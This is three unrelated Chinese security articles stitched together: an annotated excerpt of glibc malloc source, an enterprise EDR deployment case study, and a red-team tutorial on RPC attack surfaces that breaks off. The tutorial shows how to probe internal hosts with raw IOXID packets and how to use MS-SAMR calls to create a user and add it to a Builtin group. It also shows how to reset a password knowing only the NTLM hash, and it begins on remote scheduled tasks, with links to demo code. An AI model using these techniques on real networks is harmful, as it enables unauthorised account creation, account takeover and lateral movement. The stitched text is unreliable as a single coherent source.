// 检查 bck->fd 是不是 victim，防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表，将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
// 如果不是 main_arena，设置对应的标志
if (av != &main_arena) set_non_main_arena(victim);
// 细致的检查，非调试状态没有作用
check_malloced_chunk(av, victim, nb);
// 将申请到的 chunk 转化为对应的 mem 状态
void *p = chunk2mem(victim);
// 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff
alloc_perturb(p, bytes);
return p;
}
}
}
large bin 的分配图
large bin
> 如果申请的内存在 large bin 范围内
1. 调用 malloc_consolidate: 合并能合并的 fast bin 并放到 unsorted bin 中，对于不能合并的 fast bin 则直接放到 unsorted bin 中
2. 进行大循环
## 问题
为什么不直接从相应的 bin 中取出 large chunk: 这是ptmalloc 的机制，它会在分配 large chunk 之前对堆中碎片 chunk
进行合并，以便减少堆中的碎片。
/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/
else {
// 获取large bin的下标。
idx = largebin_index(nb);
// 如果存在fastbin的话，会处理 fastbin
if (have_fastchunks(av)) malloc_consolidate(av);
}
大循环分配图
大循环
> 执行到这里有两种情况
>
> 1. 申请 fast/small bin 范围内的内存并且在 fast bin 和 small bin 中找不到大小正好一致的空闲chunk
> 2. 申请 large bin 范围内的内存,在大循环中将会处理对 large chunk 的申请
>
1. 尝试从 unsorted bin 中分配用户所需内存
2. 尝试从 large bin 中分配用户所需内存
3. 尝试从 top chunk 中分配用户所需内存
申请 fast chunk 并执行到了大循环
1. 尝试合并 fast chunk
2. 先考虑 unsorted bin 再考虑 last remainder
* 遍历 unsorted bin（FIFO）
* 获得 unsorted bin 中最后一个 chunk 的指针：victim
* 获得 unsorted bin 中倒数第二个 chunk 的指针 ：bck
* 判断 victim 指向的 chunk 是否符合要求：av->system_mem < chunk_size(victim) <= 2*SIZE_SZ
* 获得 victim 指向的 chunk 的大小
* 大小刚好符合，取出，分配
* 大小不刚好符合，将 chunk 放到对应的 fast bin、small bin、large bin
> 实际上在遍历时会把 unsorted bin 清空，将其中的 chunk 放到对应的 bin 中
* 考虑last remainder
* 切割 last remainder，用 victim 指向符合要求的部分；剩下部分称为新的 last remainder
* 更新所有记录了与 last remainder 有关的数据结构的内容，如：新的 last remainder 的大小、位置、指针，更新 unsorted bin，更新 av 中记录的 remainder 的位置
* 设置 victim 的头部，设置新的 remainder 的头部、prev_size字段
* 将 victim 指向的 chunk 取下，分配并设置为 mem模式
* 如果设置了perturb_type, 则将获取到的chunk初始化为 perturb_type ^ 0xff
申请 small chunk 并执行到了大循环
1. 尝试合并 fast chunk
2. 先考虑 last remainder（如果它是 unsorted 中唯一的一个chunk，并且其大小足够分割出所需的空间） 再考虑 unsorted bin
* 考虑last remainder
* 切割 last remainder，用 victim 指向符合要求的部分；剩下部分称为新的 last remainder
* 更新所有记录了与 last remainder 有关的数据结构的内容，如：新的 last remainder 的大小、位置、指针，更新 unsorted bin，更新 av 中记录的 remainder 的位置
* 设置 victim 的头部，设置新的 remainder 的头部、prev_size字段
* 将 victim 指向的 chunk 取下，分配并设置为 mem模式
* 如果设置了perturb_type, 则将获取到的chunk初始化为 perturb_type ^ 0xff
* 遍历 unsorted bin（FIFO）
* 获得 unsorted bin 中最后一个 chunk 的指针：victim
* 获得 unsorted bin 中倒数第二个 chunk 的指针 ：bck
* 判断 victim 指向的 chunk 是否符合要求：av->system_mem < chunk_size(victim) <= 2*SIZE_SZ
* 获得 victim 指向的 chunk 的大小
* 大小刚好符合，取出，分配
* 大小不刚好符合，将 chunk 放到对应的 fast bin、small bin、large bin
* 遍历 unsorted bin
// 如果 unsorted bin 不为空
// First In First Out
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
// victim 为 unsorted bin 的最后一个 chunk
// bck 为 unsorted bin 的倒数第二个 chunk
bck = victim->bk;
// 判断得到的 chunk 是否满足要求，不能过小，也不能过大
// 一般 system_mem 的大小为132K
if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
__builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);
// 得到victim对应的chunk大小。
size = chunksize(victim);
* 考虑 last remainder
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
/* split and reattach remainder */
// 获取新的 remainder 的大小
remainder_size = size - nb;
// 获取新的 remainder 的位置
remainder = chunk_at_offset(victim, nb);
// 更新 unsorted bin 的情况
unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
// 更新 av 中记录的 last_remainder
av->last_remainder = remainder;
// 更新last remainder的指针
remainder->bk = remainder->fd = unsorted_chunks(av);
if (!in_smallbin_range(remainder_size)) {
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
// 设置victim的头部，
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
// 设置 remainder 的头部
set_head(remainder, remainder_size | PREV_INUSE);
// 设置记录 remainder 大小的 prev_size 字段，因为此时 remainder 处于空闲状态。
set_foot(remainder, remainder_size);
// 细致的检查，非调试状态下没有作用
check_malloced_chunk(av, victim, nb);
// 将 victim 从 chunk 模式转化为mem模式
void *p = chunk2mem(victim);
// 如果设置了perturb_type, 则将获取到的chunk初始化为 perturb_type ^ 0xff
alloc_perturb(p, bytes);
return p;
}
申请 large chunk 并执行到了大循环
1. 在 large bins 中从小到大进行扫描，找到合适的 large bin
2. 获得当前 bin 中最大的 chunk 的指针：victim
3. 遍历链表，直到找到最后一个不小于所需空间大小的 chunk ，找到符合大小的最前面的那个chunk
4. 切割，计算剩余部分的大小
* unlink
* 剩余部分作为 remainder 放入 unsorted bin 中，并设置好相关信息
* 将获得 chunk 设置为 mem模式
/*
If a large request, scan through the chunks of current bin in
sorted order to find smallest that fits. Use the skip list for this.
*/
if (!in_smallbin_range(nb)) {
bin = bin_at(av, idx);
/* skip scan if empty or largest chunk is too small */
// 如果对应的 bin 为空或者其中的chunk最大的也很小，那就跳过
// first(bin)=bin->fd 表示当前链表中最大的chunk
if ((victim = first(bin)) != bin &&
(unsigned long) chunksize_nomask(victim) >=
(unsigned long) (nb)) {
// 反向遍历链表，直到找到第一个不小于所需chunk大小的chunk
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize(victim)) <
(unsigned long) (nb)))
victim = victim->bk_nextsize;
/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
// 如果最终取到的chunk不是该bin中的最后一个chunk，并且该chunk与其前面的chunk
// 的大小相同，那么我们就取其前面的chunk，这样可以避免调整bk_nextsize,fd_nextsize
// 链表。因为大小相同的chunk只有一个会被串在nextsize链上。
if (victim != last(bin) &&
chunksize_nomask(victim) == chunksize_nomask(victim->fd))
victim = victim->fd;
// 计算分配后剩余的大小
remainder_size = size - nb;
// 进行unlink
unlink(av, victim, bck, fwd);
/* Exhaust */
// 剩下的大小不足以当做一个块
// 很好奇接下来会怎么办？
if (remainder_size < MINSIZE) {
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena) set_non_main_arena(victim);
}
/* Split */
// 剩下的大小还可以作为一个chunk，进行分割。
else {
// 获取剩下那部分chunk的指针，称为remainder
remainder = chunk_at_offset(victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
// 插入unsorted bin中
bck = unsorted_chunks(av);
fwd = bck->fd;
// 判断 unsorted bin 是否被破坏。
if (__glibc_unlikely(fwd->bk != bck)) {
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
// 如果不处于small bin范围内，就设置对应的字段
if (!in_smallbin_range(remainder_size)) {
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
// 设置分配的chunk的标记
set_head(victim,
nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
// 设置remainder的上一个chunk，即分配出去的chunk的使用状态
// 其余的不用管，直接从上面继承下来了
set_head(remainder, remainder_size | PREV_INUSE);
// 设置remainder的大小
set_foot(remainder, remainder_size);
}
// 检查
check_malloced_chunk(av, victim, nb);
// 转换为mem状态
void *p = chunk2mem(victim);
// 如果设置了perturb_type, 则将获取到的chunk初始化为 perturb_type ^ 0xff
alloc_perturb(p, bytes);
return p;
}
}
在更大的 bin 中寻找 chunk
> 程序运行到了这里，说明在所需空间对应的 bin 中找不到对应大小的 chunk，需要到储存了更大的chunk 的 bin 中寻找空间
1. 获取对应的 bin
2. 获取当前索引在 binmap 中的 block 索引，检查 map（获取当前 block 对应的映射，可以得知对应的 bin 是否有空闲块）
3. 遍历 block，直到找到符合条件的 map
4. 根据 map 找到合适的 chunk
5. 切割chunk，取出；剩余部分如果够最小chunk的大小，放入 unsorted bin；剩余部分不够最小chunk会怎样？？？？？？？？？？？？？？？？？？？？？？？？？？？
6. 将获得的chunk设置为 mem 模式
考虑 top chunk
> 如果上面的所有方法都无法获得符合条件的 chunk
1. 获得当前 top chunk 的位置与大小
* 如果大于所需空间
* 切割：
* 切割剩余部分大于最小chunk要求：切割，分配，剩余部分放入 unsorted bin
* 切割剩余部分小于最小chunk要求：检查是否可以合并 fast chunk，如果可以则合并，并放入对应的 bin 中，否则需要执行 sysmalloc()向操作系统再申请一点内存
* 如果小于所需空间
* 向操作系统申请内存
## 本文参考
<https://ctf-wiki.github.io/ctf-wiki/pwn/heap/heap_structure/#malloc_chunk>
审核人：yiwang 编辑：边边 | 社区文章 |
# 大型企业如何部署落地（云）主机EDR+态势感知平台
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
大型企业的项目实施往往涉及到大量部门和分、子公司的协调配合，这带来了双方面的困难：在技术上，设备和系统分散且不统一，威胁因素和程度难以感知，决策层对于当前的安全态势难以描述和决策；在工作的推进方面，客户企业下属各单位的配合程度直接影响了项目实施的进展和质量，如何做好协调沟通工作、顺利推进项目实施，也是对安全行业极大的考验。
我们将在这篇文章里，结合我们曾经实施过的一些案例，探讨如何为大型企业部署实施大数据安全态势感知的项目。希望本文能够起到“抛砖引玉”的作用，如有更好的见解，望不吝赐教，笔者不胜感激。
## 二、项目背景
**1、客户信息**
客户是大型集团性企业，旗下拥有投资企业300余家，全资及控股投资企业逾200家，员工超万人。
**2、项目目标**
解决集团信息安全在横向安全体系方面的缺陷，实现全网安全感知、检测、预警及运维响应，结合安全服务，提升整体的安全运营水平，增强安全的主动防御能力。
项目总体目标
安全运行能力目标
运维能力目标
## 三、解决方案和实施
**1、项目方案**
经过分析，我们最终确定了这样的解决方案：
通过部署啸天网络安全态势感知系统、云眼主机入侵监测及安全管理系统，其中流量采集探针为啸天网络安全态势感知系统的功能模块，以硬件形式部署。
进行全网安全数据采集，利用大数据技术，结合威胁情报，实时发现网络及信息系统中潜在的安全威胁，呈现全网的安全态势，辅助集团安全运维人员和专业厂商安全团队开展威胁分析，提升主动防御能力。
**2、人员保障**
为保障项目顺利实施，我们组建了10人以上的项目团队，人员构成上包括了项目经理、实施工程师、安全研究员、安全服务工程师、研发工程师、测试工程师等岗位。
**3、实施过程**
总体部署架构如下图所示：
部署架构逻辑示意图
根据总体方案，将实施过程分为三个阶段：
**第一阶段：软、硬件设备上线**
在方案中，包含的软、硬件设备有：态势感知平台、EDR平台、流量分析设备，经过前期的交流与现场的评估，态势感知与EDR平台采用虚拟化服务器集群部署，具体部署态势架构如下图所示：
态势感知部署架构示意图
具体部署EDR架构如下图所示：
EDR部署架构示意图
经过一周的时间，流量设备上架，EDR平台部署、态势感知平台按照计划完成部署。
**第二阶段：数据接入、日志泛化、调试**
数据的接入调试是整个项目实施重点，新增的流量分析设备日志推送态势平台，EDR客户端部署、事件日志推送态势平台，原有的部分安全设备、安全系统（XX防火墙、XX交换机、等等）日志推送态势平台。
**（1）首月：进展缓慢**
流量分析设备：在接入流量后，流量分析设备检测出集团内网各种异常事件，最严重的是近50台左右服务器和办公PC中挖矿病毒，内网访问恶意IP近100台，其他安全告警几百条。客户在看到数据后，为了梳理整个内网十分严峻的安全态势，与项目小组展开多次论证，不断调整整改处理方案。
EDR轻代理部署：经过项目小组多次协调测试部署，第一个月的部署量只有十几台。
**通过少量部署，我们总结出内网服务器存在几个通用问题，主要包括漏洞风险和入侵威胁两个方面。**
漏洞风险：弱口令、危急高危系统漏洞、高危账号、配置缺陷
入侵威胁：病毒木马、网页后门、异常账号。
安全设备、安全管理系统日志泛化调优：在相关设备日志和安全管理系统日志推送到态势平台后，经过两周对平台上的事件做微调优化，关联引擎优化，让各类安全数据、态势要素进行综合分析评判，从多维度和指标化的形式来呈现，帮助管理层辅助决策和执行层运维指导。
**（2）次月：快速推进**
项目的推进往往需要关键性的事件的推动，第二个月才开始，态势平台就告警了特大病毒安全事件，导致多个关键业务系统中断，所涉及服务器40台以上。
在发生重大安全事件后，我方项目组紧急启动应急机制协助客户处理，调配红方攻击团队、蓝方审计团队、项目组实施团队安全工程师，通宵制定出业务恢复方案、病毒检测处理方案、安全加固方案、事件分析方案，当晚恢复最关键三个业务系统，并做好安全加固、防护，连续三个昼夜，协助客户恢复所有波及的业务系统，并梳理出溯源结果，给出初步整改防护方案、后续整改防护方案。
此次突发安全事件使得安全防护无比紧迫，三天的时间核心区域服务器EDR部署到几百台，部署简易策略优化是一个复杂的过程，根据平台检测出的问题，经过双方梳理，接下来的工作分为整改、监控、防护。
整改：1.高危、危急漏洞通过平台修复（交付修复方案）；2.大量弱口令限期整改；3.大量高危账号限期整改；4.配置缺陷限期整改；5.病毒木马清理；6.基线优化。
监控：1.异常登录监控；2.完整性监控；3.进程监控；4.操作审计监控；5.暴力破解监控。
防护：1.暴力破解防护；2.扫描防护；3.病毒防护；4.端口最小化防护；5.特殊服务器进程白名单防护。
**第三阶段：扩大推广试运行**
推广接入所有网络设备日志、所有服务器系统日志、所有应用网站日志，推广所有服务器EDR部署工作，平台安全数据治理工作。
## 四、项目成效
通过接入全网流量10G以上，部署EDR节点1000+，安全日志接入，分析出威胁事件800余条，处置安全问题资产：服务器200余台，PC终端300余台，态势平台发现大量穿透现有安全体系攻击威胁，经过项目组专项治理后网络安全态势恢复良好状态，每日失陷服务器降为0，每日失陷终端PC＜3，整体安全处于可感知、可控制水平。
## 五、总结
·大型企业的项目实施，所涉及非常多部门和分子公司协调，需要客户决策层强有力的支持。
·安全事件是一把双刃剑，一方面给客户带来非常棘手的影响，但另一方面又能为项目推进带来质的变化。
·态势感知平台是一个需要大量数据支撑的系统，而主机EDR能力恰恰能够为态势感知平台提供大量的关键数据。通过对海量的日志进行关联分、情境分析、智能分析，能够对关键信息基础设施的网络安全信息实时监测，对重大网络攻击实时感知，同时进一步探索对攻击破坏情况准确评估，做好对重点保卫目标的威胁、隐患及时预警和快速处置工作。 | 社区文章 |
## 1、前言
最近研究RPC在内网中的一些攻击面，主要是以红队视角来看，使用RPC协议有时候Bypass EDR等设备会有较好的效果，那么什么是RPC呢，RPC
代表“远程过程调用”，它不是 Windows 特定的概念。RPC
的第一个实现是在80年代在UNIX系统上实现的。这允许机器在网络上相互通信，它甚至被“用作网络文件系统（NFS）的基础”，其实简单的说就是它允许请求另一台计算机上的服务，本节内容主要是依靠[Microsoft官方文档](https://learn.microsoft.com/zh-cn/windows/win32/rpc/rpc-start-page "Microsoft官方文档")进行学习。
## 2、RPC结构相关概念
1、首先我们要理解RPC是如何进行通信的首先需要知道几个概念IDL文件，UUID，ACF文件
IDL文件：为了统一客户端与服务端不同平台处理不同的实现，于是有了IDL语言。IDL文件由一个或多个接口定义组成，每一个接口定义都有一个接口头和一个接口体，接口头包含了使用此接口的信息(UUID和接口版本)，接口体包含了接口函数的原型相关细节查看。
UUID：通常为一个16长度的标识符，具有唯一性，在Rpc通信模型中，UUID 提供对接口、管理器入口点向量或客户端对象等对象的唯一指定。
ACF：(ACF) 的应用程序配置文件有两个部分： 接口标头，类似于 IDL 文件中的接口标头，以及一个 正文，其中包含适用于 IDL
文件的接口正文中定义的类型和函数的配置属性。
2、调用过程
[RpcStringBindingCompose](https://learn.microsoft.com/zh-cn/windows/win
2/api/rpcdce/nf-rpcdce-rpcstringbindingcompose
"RpcStringBindingCompose")：需要先创建一个绑定句柄字符串。。
[RpcBindingFromStringBinding](https://learn.microsoft.com/zh-cn/windows/win32/api/rpcdce/nf-rpcdce-rpcstringbindingcompose
"RpcBindingFromStringBinding")：通过绑定句柄字符串返回绑定句柄。
## 3、存根分配和释放内存
在编写RPC调用的时候，必须将函数MIDL_user_allocate和MIDL_user_free在项目的中定义。
## 4、相关攻击面
所有的Demo都在 <https://github.com/M0nster3/RpcsDemo> ，大家可参考。
### 1、IOXID Resolver探测内网多网卡主机
我们发送一个IOXID的传输包，这个发送方式有很多种，我这里用的K8师傅的工具，用Wireshark抓包。
上图中TCP的三个包就不用看了，就是很常见的TCP的三次握手，后四个包中可以如图看，主要关注的是最后一个包，前三个都是固定的，就是交互中用来协商版本之类的参数。
1、先来构造第一个数据包，由于这个包是固定的可以直接Copy Wireshark中的，如下图
05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000
2、后续第二个是接受的数据包，直接将第三个包复制就可以
050000031000000018000000010000000000000000000500
3、主要就是看我们如何剖析最后一个包，将他接收过来并且进行一个分割输出，首先我们是想要枚举他的多网卡信息，和主机信息。我们对数据包进行一个分割。是从/0x07/0x00/进行分割。
结束的是在0x09/0x00/0xff这一块结束的,把我们接受的数据进行一个分割。
相关代码：<https://github.com/M0nster3/RpcsDemo/blob/main/OXIDINterka_network_card/OXID.go>
效果图
### 2、RPC SMB
RPC还可以通过不同的协议进行一个访问，例如通过SMB协议传输的RPC服务就可以通过管道进行访问，加入在做项目的时候又有个域凭证就可以进行一写RPC借口的一个调用，比较好用的一个工具是rpcclient，它是执行客户端
MS-RPC 功能的工具。
相关命令的一些总结我发在了<https://github.com/M0nster3/RpcsDemo/blob/main/RPC%20over%20SMB/MS-RPC.md中，大家有需要可以去提取。>
### 3、MS-SAMR的那些事
该协议支持包含用户和组的帐户存储或目录的管理功能，简单来说就是该协议主要是对Windows用户以及用户组的一些相应操作，例如添加用户，用户组等操作。[官方参考.](https://learn.microsoft.com/zh-cn/openspecs/windows_protocols/ms-samr/4df07fab-1bbc-452f-8e92-7853a3c7e380
"官方参考.")
1）添加本地用户
调用的API SamrCreateUser2InDomain()可以创建一个用户.
long SamrCreateUser2InDomain(
[in] SAMPR_HANDLE DomainHandle,
[in] PRPC_UNICODE_STRING Name,
[in] unsigned long AccountType,
[in] unsigned long DesiredAccess,
[out] SAMPR_HANDLE* UserHandle,
[out] unsigned long* GrantedAccess,
[out] unsigned long* RelativeId
);
在创建用户的时候通过分档来看，不能直接创建到内置域（Builtin）中，需要先创建到账户域（账户）中，如下图。
关于内置域和账户域的相关内容可以参考[官方链接](https://learn.microsoft.com/zh-cn/windows/win32/secmgmt/built-in-and-account-domains "官方链接").
其实简单来说就是，账户域内的用户只能访问该账户所在计算机的资源，而内置域中的账户可以访问域的资源。
由于使用SamrCreateUser2InDomain创建的账户存在禁用标识位，我们先需要为它Set一个属性，来清除禁用标识位。然后才可以将其加入到所在的内置域中。
使用SamrSetInformationUser() 这个API为它设置。
long SamrSetInformationUser(
[in] SAMPR_HANDLE UserHandle,
[in] USER_INFORMATION_CLASS UserInformationClass,
[in, switch_is(UserInformationClass)]
PSAMPR_USER_INFO_BUFFER Buffer
);
编写脚本有两种方式一种是直接调用MS-SAMR协议去直接创建一个用户，微软官方给了[IDL](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/1cd138b9-cc1b-4706-b115-49e53189e32e
"IDL")，将其编译，然后构造，这种方式调用起来比较麻烦，另一种是使用神器mimikatz打包好的包，samlib来进行调用，调用的时候将前面的samr改成sam就可以.
参考微软给的[官方例子](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/3d8e23d8-d9df-481f-83b3-9175f980294c "官方例子").
可以按照这个例子依次构造
首先先求出来账户域Account和内置域的Builts的SID为后续添加账户以及加入到内置域中做准备。
然后获取域对象的句柄，然后为域对象添加用户,并且清除禁用标识位，关键代码。
到这里创建用户的准备工作就结束了，接下来，就是将用户添加到组里面，用到[SamAddMemberToAlias](https://www.t00ls.com/Ihttps%3A//learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/9a5d2c35-e84b-4e59-b7b0-96c6fa0fc8d7
"SamAddMemberToAlias").
long SamrAddMemberToAlias(
[in] SAMPR_HANDLE AliasHandle,
[in] PRPC_SID MemberId
);
相应的Demo：<https://github.com/M0nster3/RpcsDemo/blob/main/MS-SAMR/AddUser/AddUser/main.c>
2) Change Ntlm
调用的关键API在[SamrChangePasswordUser](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/9699d8ca-e1a4-433c-a8c3-d7bebeb01476
"SamrChangePasswordUser") .
当我们获取到了用户名，以及密码NTLMhash，则可以是用这个API将用户的密码修改了。
long SamrChangePasswordUser(
[in] SAMPR_HANDLE UserHandle,
[in] unsigned char LmPresent,
[in, unique] PENCRYPTED_LM_OWF_PASSWORD OldLmEncryptedWithNewLm,
[in, unique] PENCRYPTED_LM_OWF_PASSWORD NewLmEncryptedWithOldLm,
[in] unsigned char NtPresent,
[in, unique] PENCRYPTED_NT_OWF_PASSWORD OldNtEncryptedWithNewNt,
[in, unique] PENCRYPTED_NT_OWF_PASSWORD NewNtEncryptedWithOldNt,
[in] unsigned char NtCrossEncryptionPresent,
[in, unique] PENCRYPTED_NT_OWF_PASSWORD NewNtEncryptedWithNewLm,
[in] unsigned char LmCrossEncryptionPresent,
[in, unique] PENCRYPTED_LM_OWF_PASSWORD NewLmEncryptedWithNewNt
);
这这里遇到了一个坑，就是只用旧的Ntlm就行修改而不对LmCrossEncryptionPresent和NewLmEncryptedWithNewNt进行传参，则会输出一个C000017F的错误，如下图。
我去查看一下这个错误发现是客户端使用当前密码LM hash作为加密密钥请求返回，不清楚为什么不能用当前的密码LM hash，就改了一个其他的LM
hash,关键代码。
接下来就是编写POC，我在这里使用微软官方的提供的[IDL](https://www.t00ls.com/%20https%3A//learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/1cd138b9-cc1b-4706-b115-49e53189e32e
"IDL")进行编译，提供了我们需要的所有包，在我们编译好，生成exe的时候会有很多错误，直接将其都注释就好。
根据RPC的调用过程首先需要进行RPC的绑定
RPC_STATUS RpcStringBindingComposeW(
RPC_WSTR ObjUuid,
RPC_WSTR ProtSeq,
RPC_WSTR NetworkAddr,
RPC_WSTR Endpoint,
RPC_WSTR Options,
RPC_WSTR *StringBinding
);
其中的ObjUuid可以直接在提供的IDL中找到，如下图，但是发现这个例子有没有这个都可以，[最主要的必须定义一个命名管道端点
\PIPE\samr](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wkst/13e9ee5d-4125-4492-bcc7-9a0061f2bbe7 "最主要的必须定义一个命名管道端点 \\PIPE\\samr")。
关键代码
绑定了之后接下来就是构造SamrChangePasswordUser,如果我们不熟悉MS-SAMR我们可以倒着堆整个调用流程。
long SamrChangePasswordUser(
[in] SAMPR_HANDLE UserHandle,
[in] unsigned char LmPresent,
[in, unique] PENCRYPTED_LM_OWF_PASSWORD OldLmEncryptedWithNewLm,
[in, unique] PENCRYPTED_LM_OWF_PASSWORD NewLmEncryptedWithOldLm,
[in] unsigned char NtPresent,
[in, unique] PENCRYPTED_NT_OWF_PASSWORD OldNtEncryptedWithNewNt,
[in, unique] PENCRYPTED_NT_OWF_PASSWORD NewNtEncryptedWithOldNt,
[in] unsigned char NtCrossEncryptionPresent,
[in, unique] PENCRYPTED_NT_OWF_PASSWORD NewNtEncryptedWithNewLm,
[in] unsigned char LmCrossEncryptionPresent,
[in, unique] PENCRYPTED_LM_OWF_PASSWORD NewLmEncryptedWithNewNt
);
根据上面的图，以及相关的官方文档，我们发现我们现在就需要传入一个UserHandle用户句柄，其他的就是我们需要输入的NT
hash，以及我们需要修改的新的NT hash，那么这个UserHandle需要从哪里获取呢。这时候可以翻看官方文档。发现一个API
[SamrOpenUser()](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/0aee1c31-ec40-4633-bb56-0cf8429093c0
"SamrOpenUser\(\)")如下，可以为我们提供我们需要的Userhandle，
这个API意思就是通过RID来获取用户句柄。
long SamrOpenUser(
[in] SAMPR_HANDLE DomainHandle,
[in] unsigned long DesiredAccess,
[in] unsigned long UserId,
[out] SAMPR_HANDLE* UserHandle
);
继续查看这个API需要什么参数，需要一个域的句柄，所需要的[访问权限](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/c0be3f43-bcf9-43ee-b027-3d02ab372c53
"访问权限")查看文档，如下图，由于我们是要实现修改密码，所以我们需要一个指定修改用户密码的能力USER_CHANGE_PASSWORD，最后还需要一个RID。
通过上面的分析，我们现在好需要两个参数，一个参数是DomainHandle，另一个就是UserId.
继续翻看文档发现这样一个API [SamrLookupNamesInDomain](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/d91271c6-7b2e-4194-9927-8fabfa429f90
"SamrLookupNamesInDomain")如下
就是将我们输入的用户名转化为RID，输出一个RID号，到这里我们上面所需要的两个参数中的UserId就找到了。
这里需要的两个参数就是我们输入的用户名，还有和上面SamrOpenUser通向需要的的 DomainHandle。
long SamrLookupNamesInDomain(
[in] SAMPR_HANDLE DomainHandle,
[in, range(0,1000)] unsigned long Count,
[in, size_is(1000), length_is(Count)]
RPC_UNICODE_STRING Names<li>,
[out] PSAMPR_ULONG_ARRAY RelativeIds,
[out] PSAMPR_ULONG_ARRAY Use
);
我们继续找返现 [SamrOpenDomain](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/ba710c90-5b12-42f8-9e5a-d4aacc1329fa
"SamrOpenDomain")这个API，通过SID号可以输出我们需要的域对象句柄。
long SamrOpenDomain(
[in] SAMPR_HANDLE ServerHandle,
[in] unsigned long DesiredAccess,
[in] PRPC_SID DomainId,
[out] SAMPR_HANDLE* DomainHandle
);
到这里SamrOpenUser这个API所需要的条件就找全了。
我们需要继续为SamrOpenDomain寻找它所需要输入的内容，服务器句柄，SID号
这一块可以使用SamrLookupDomainInSamServer来获取我们需要的SID.
这个需要一个内置域的名称，也就是上面上面添加本地用户中提到的获取内置域的名称就可以，这里填写“Builtin”以及一个服务器句柄。
long SamrLookupDomainInSamServer(
[in] SAMPR_HANDLE ServerHandle,
[in] PRPC_UNICODE_STRING Name,
[out] PRPC_SID* DomainId
);
获取服务器对象的句柄使用到的API[ SamrConnect5](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/c842a897-0a42-4ca5-a607-2afd05271dae "
SamrConnect5")。
这个API 会返回服务器对象的句柄,需要我们填入我们的服务器，直接填写机器名称就可以。
long SamrConnect5(
[in, unique, string] PSAMPR_SERVER_NAME ServerName,
[in] unsigned long DesiredAccess,
[in] unsigned long InVersion,
[in] [switch_is(InVersion)] SAMPR_REVISION_INFO* InRevisionInfo,
[out] unsigned long* OutVersion,
[out, switch_is(*OutVersion)] SAMPR_REVISION_INFO* OutRevisionInfo,
[out] SAMPR_HANDLE* ServerHandle
);
总结一下：
1、我们首先利用 SamrConnect5 获取服务器句柄。
2、利用获取到的服务器句柄经过SamrLookupDomainInSamServer获取服务器SID,。
3、接着利用对一步中获取的服务器句柄以及第二步中的SID利用SamrOpenDomain获取域句柄
4、接下来利用获取到的域句柄利用SamrLookupNamesInDomain获取RID号
5、接着利用第四步中的RID以及第三步中的域句柄利用SamrOpenUser API获取用户句柄
6、最后利用用户句柄以及之前的NT hash和需要修改的Nt Hash调用SamrChangePasswordUser修改密码。
想要修改的Nt hash 可以使用 python2 。
import hashlib,binascii
print binascii.hexlify(hashlib.new("md4", "123456".encode("utf-16le")).digest())
效果图：
完整的Demo：
<https://github.com/M0nster3/RpcsDemo/blob/main/MS-SAMR/ChangeNTLM/ChangePass/main.c>
### 4、MS-TSCH
[MS -TSCH]：任务计划程序服务远程协议,用于注册和配置任务以及查询远程计算机上运行的任务的状态。顾名思义就是利用这个API可以操纵计划任务。<https://learn.microsoft.com/zh-cn/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931>
直接来看相关API [SchRpcRegisterTask](https://learn.microsoft.com/zh-cn/openspecs/windows_protocols/ms-tsch/849c131a-64e4-46ef-b015-9d4c599c5167
"SchRpcRegisterTask")
直接向服务器注册一个任务，关键的两个参数一个是我们创建服务的路径，另一个就是定义计划任务的xml。
HRESULT SchRpcRegisterTask(
[in, string, unique] const wchar_t* path,
[in, string] const wchar_t* xml,
[in] DWORD flags,
[in, string, unique] const wchar_t* sddl,
[in] DWORD logonType,
[in] DWORD cCreds,
[in, size_is(cCreds), unique] const TASK_USER_CRED* pCreds,
[out, string] wchar_t** pActualPath,
[out] PTASK_XML_ERROR_INFO* pErrorInfo
);
